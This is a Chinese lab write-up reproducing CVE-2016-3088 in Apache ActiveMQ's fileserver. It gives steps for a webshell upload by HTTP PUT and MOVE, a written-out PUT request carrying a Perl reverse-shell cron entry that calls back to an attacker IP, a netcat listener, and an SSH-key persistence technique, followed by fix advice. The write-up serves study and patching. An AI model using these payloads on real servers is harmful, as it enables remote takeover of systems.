本文主要是介绍CVE-2016-3088,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
CVE-2016-3088-Apache ActiveMQ Fileserver Web应用任意代码执行漏洞
漏洞描述
2016年4月14日,国外安全研究人员 Simon Zuckerbraun 曝光 Apache ActiveMQ Fileserver 存在多个安全漏洞,可使远程攻击者用恶意代码替代Web应用,在受影响系统上执行远程代码(CVE-2016-3088)。
影响版本
Apache ActiveMQ 5.x ~ 5.14.0
12 - 14 版本默认关闭 fileserver
14 之后的版本取消了 fileserver
测试环境
靶机: 安装 5.12 ActiveMQ 的 Windows 10
攻击机:Kali
复现
在靶机上开启 ActiveMQ 服务 对配置文件进行改写
进入 conf 配置文件文件夹 改写 jetty.xml 文件 对控制 fileserver 功能内容注释取消
编写 Webshell 文件上传 fileserver 目录回显 204 表示成功上传
查看 fileserver 文件夹 成功写入文件夹中也可直接访问路径进行测试 /fileserver/eval.txt
因为 Webshell 需要使用 jsp 格式文件 并进行执行操作才能够 getshell 所以需要查看能够执行 jsp 文件的路径 fileserver 路径下无法执行 jsp 文件访问 admin/test 查看根目录路径
将刚上传的文件移动到能够执行 jsp 文件的文件夹中在此对目标文件进行访问 就可得到命令执行后返回的数据
计划任务反弹同上复现操作类似 同样对目标服务器进行 PUT 上传文件操作
PUT /fileserver/eval.txt HTTP/1.1
Host: IP:8161
Content-Length: 250*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="目标IP";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'注意:需要将写入文件的换行符改为 0a(linux 中的换行符)再对目标文件进行 MOVE 协议操作 移动到 /etc/cron.d 目录下使用 nc -lvp 9999 进行端口监听 等待回显即可、文件上传和移动 通过 BP 返回包查看是否上传,移动成功 返回 204 基本操作成功
上传 SSH 公钥使用 ssh-keygan -t rsa 生成密钥对
进入 /.ssh 目录下 查找生成好的密钥 id_rsa.pub同样进行上传 移动操作 移动到 /root/.ssh 目录下 并重命名为 authorized_keys通过 ssh 密钥链接进入服务器内部
修复
升级到 5.14 后的任意版本 5.14 后的所有版本取消了 fileserver 应用如升级会对目前业务持续性产生影响 可以对配置文件进行改写
改写 ActiveMQ 根目录下 conf 目录下的 jetty.xml 对 fileserver 行进行注释操作
http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt
这篇关于CVE-2016-3088的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!